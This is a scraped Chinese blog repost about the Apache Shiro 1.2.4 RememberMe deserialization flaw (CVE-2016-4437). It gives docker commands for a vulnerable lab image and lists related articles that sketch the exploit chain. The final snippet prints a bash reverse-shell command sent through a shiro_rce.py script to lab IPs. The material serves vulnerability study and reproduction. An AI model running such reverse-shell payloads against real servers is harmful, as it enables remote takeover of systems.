Apache Shiro RememberMe 1.2.4 反序列化漏洞

最新推荐文章于 2025-10-21 11:55:20 发布

转载最新推荐文章于 2025-10-21 11:55:20 发布 · 1.7k 阅读

0 ·

CC 4.0 BY-SA版权

原文链接：http://www.cnblogs.com/mrhonest/p/11320498.html

文章标签：

#运维 #操作系统 #测试

本文介绍如何使用Docker拉取并运行vulapps:s_shiro_1镜像，涉及Docker命令的使用，包括docker pull和docker run，为读者提供了实际操作的示例。

拉取镜像

docker pull medicean/vulapps:s_shiro_1

启动环境

docker run -d -p 80:8080 medicean/vulapps:s_shiro_1

拉取镜像中.....呵呵 ! 网太慢,有时间再弄

转载于:https://www.cnblogs.com/mrhonest/p/11320498.html

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

ddr12231

关注关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
分享

复制链接

分享到 QQ

分享到新浪微博

扫一扫
举报

举报

Apache Shiro 1.2.4反序列化漏洞(Shiro-550)--Shiro rememberMe反序列化漏洞(CVE-2016-4437)

薛定谔嘚喵博客

05-10

2145

Apache Shiro是一款开源安全框架，提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用，同时也能提供健壮的安全性。Apache Shiro 1.2.4及以前版本中，加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie，触发Java反序列化漏洞，进而在目标机器上执行任意命令。

Apache Shiro 1.2.4 反序列化漏洞(CVE-2016-4437 )

最新发布

2302_76672693的博客

10-21

779

Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序序列化就是为了传输遍历，把一个对象类型的数据转换成字符串进行传输；

Shiro RememberMe 反序列化漏洞

hbxf_xs的博客

11-27

2327

Apache Shiro 反序列化漏洞 1）、Apache Shiro框架提供了记住我的功能（RememberMe），用户登陆成功后会生成经过加密并编码的cookie。cookie的key为RememberMe，cookie的值是经过对相关信息进行序列化，然后使用aes加密，最后在使用base64编码处理形成的。在服务端接收cookie值时，按照如下步骤来解析处理： 1、检索RememberMe cookie 的值 2、Base 64解码 3、使用AES解密(加密密钥硬编码) 4、进行反序列化操作（未作

Apache Shiro 1.2.4 反序列化漏洞(CVE-2016-4437)

qq_51163834的博客

06-05

2424

Apache Shiro框架提供了记住密码的功能，用户登录成功后会将用户信息加密，加密过程：用户信息=>序列化=>AES加密=>BASE64编码=>RememberMe Cookie值。如果用户勾选记住密码，那么在请求中会携带cookie，并且将加密信息存放在cookie的rememberMe字段里面，在服务器收到请求对RememberMe值，先进行base64解码然后AES解密在反序列化，这个加密过程如果我们知道AES加密的密钥，那么我们把用户信息替换成恶意命令，就导致了反序列化RCE漏洞。

Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现

偷一个月亮

12-23

6794

环境搭建漏洞测试抓包测试查看返回包里setcookie有rememberme的字样继续测试首先最简单的测试方法是用dnslog，看看是否有回显。利用密钥生成rememberMe dns发现有回显，说明存在反序列化漏洞。漏洞复现 1.监听回弹shell 2.生成key 3.使用ysoserial中JRMP监听模块，监听9920端口 4.重放 5.收到返回shell...

Apache shiro1.2.4反序列化漏洞介绍.docx

07-01

然而，在Apache Shiro 1.2.4及其更早的版本中，存在一个严重的反序列化漏洞。这个漏洞主要与RememberMe服务的实现有关。在处理RememberMe的Cookie时，Shiro的`CookieRememberMeManager`类会执行一系列操作：首先，它...

Shiro RememberMe 1.2.4 反序列化漏洞（SSV-92180）

你和萤火虫有两个共同点，在我的眼里都会发光，同时，都已经很多年没见了

06-21

3875

1、Shiro运行环境 Apache Shiro 是 Java 的权限及安全验证框架下载地址：https://repo1.maven.org/maven2/org/apache/shiro/shiro-root/1.2.4/ 修改pom.xml包中jstl和commons-beanutils的版本，用于配合漏洞执行环境 <dependency> <groupId>javax.servlet</groupId> <artifactId>jstl

Apache Shiro550 1.2.4反序列化漏洞（CVE-2016-4437）

Long___Xiao的博客

03-09

852

在处理cookie时，Shiro会遵循以下流程：获取rememberMe的cookie值，进行Base64解码，使用AES解密，然后进行反序列化。然而，在Shiro版本1.2.4及更早的版本中，AES的密钥是硬编码（固定）的，即密钥是固定且写在代码中的。在使用加密脚本进行伪造cookie，脚本里的popen参数中改成你的ysoserial名称，运行报No module named Crypto.Cipher就需要安装pycryptodome库，存在rememberMe=deleteMe字段，尝试利用。

Apache Shiro 1.2.4反序列化漏洞（CVE-2016-4437）

m0_61506558的博客

11-06

3081

关于shiro在2019年爆出来的漏洞，利用的条件相对来说比较苛刻，不仅要有一定的权限登入进去，进去之后密钥爆破也不一定可以成功，环境不好搭建，感兴趣的师傅可以看看，本篇文章介绍的是有关shiro反序列化的漏洞，(一）基本介绍。

Apache Shiro1.2.4反序列化漏洞——CVE-2016-4437

网安小白的博客

08-07

751

apache shiro1.2.4反序列化漏洞复现，包含ubuntu安装docker及vulhub

Apache Shiro Remember Me 反序列化漏洞 CVE-2016-4437 Shiro-550 漏洞复现

Senimo

04-30

5057

CVE-2016-4437 Apache Shiro Remember Me 反序列化漏洞一、漏洞描述二、漏洞影响三、漏洞复现1、环境搭建2、漏洞复现四、漏洞POC五、参考文章一、漏洞描述 Apache Shiro 框架提供了记住用户功能，即 Remember Me 功能，用户登录成功后会生成经过加密编码的 Cookie。Cookie 的键为rememberMe ，值是经过对相关信息进行反序列化后，使用 AES 加密，最后使用 Base64 编码处理。服务器端 Cookie 处理流程：检索

Apache Shiro-RememberMe 反序列化漏洞

chaojixiaojingang

08-21

6565

1.资产查找 Fofa: app="Apache-Shiro" 2.影响版本 Apache Shiro <= 1.2.4 3.漏洞描述 Apache Shiro默认使用了CookieRememberMeManager，其处理cookie的流程是：得到rememberMe的cookie值 > Base64解码–>AES解密–>反序列化。然而AES的密钥是硬编码的，就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。可造成远程命令执行，完全控制服务器权限。目前已经出..

Apache Shiro remember Me反序列化漏洞（Shiro 550）复现

一位热爱网安的年轻人的博客

01-11

1245

Apache Shiro remember Me反序列化漏洞（Shiro 550）复现

p36273的博客

09-18

1118

----- 当程序在进行反序列化时，会自动调用一些函数，以PHP为例有__wakeup()、__destruct()等函数，Java中有readObject()方法等等，但是如果传入函数的参数可以被用户控制的话，用户可以输入一些恶意代码到函数中，从而导致反序列化漏洞。------ Shiro提供了记住我(RememberMe)的功能，比如访问淘宝等网站时，关闭了浏览器下次再打开时还是能够记住上次访问过的用户，下次访问时无需再登录即可访问。根据字节流中保存的对象状态及描述信息，通过反序列化重建对象。

Apache Shiro 1.2.4反序列化漏洞

07-27

Apache Shiro 1.2.4版本之前存在一个反序列化漏洞。在这个版本之前，默认的ASE密钥是固定的，这意味着攻击者可以直接反序列化执行恶意代码。然而，在1.2.4版本之后，ASE密钥不再是默认的，需要获取到密钥才能进行渗透。\[1\] 在服务端接收cookie值时，攻击者可以利用这个漏洞进行攻击。攻击者可以按照以下步骤来解析处理cookie值：首先检索RememberMe cookie的值，然后进行Base64解码，接着使用AES解密（加密密钥硬编码），最后进行反序列化操作。由于在调用反序列化时未进行任何过滤处理，攻击者可以触发远程代码执行漏洞。\[2\] 攻击者可以利用这个漏洞执行反弹shell语句，从而获取对目标系统的控制权。例如，可以使用以下命令来执行反弹shell语句：python .\shiro_rce.py http://192.168.111.8:8080 "bash -i >& /dev/tcp/192.168.111.128/9001 0>&1"。\[3\] #### 引用[.reference_title] - *1* *2* *3* [Apache Shiro 1.2.4 反序列化漏洞(CVE-2016-4437 )](https://blog.csdn.net/weixin_60329395/article/details/127399081)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insertT0,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]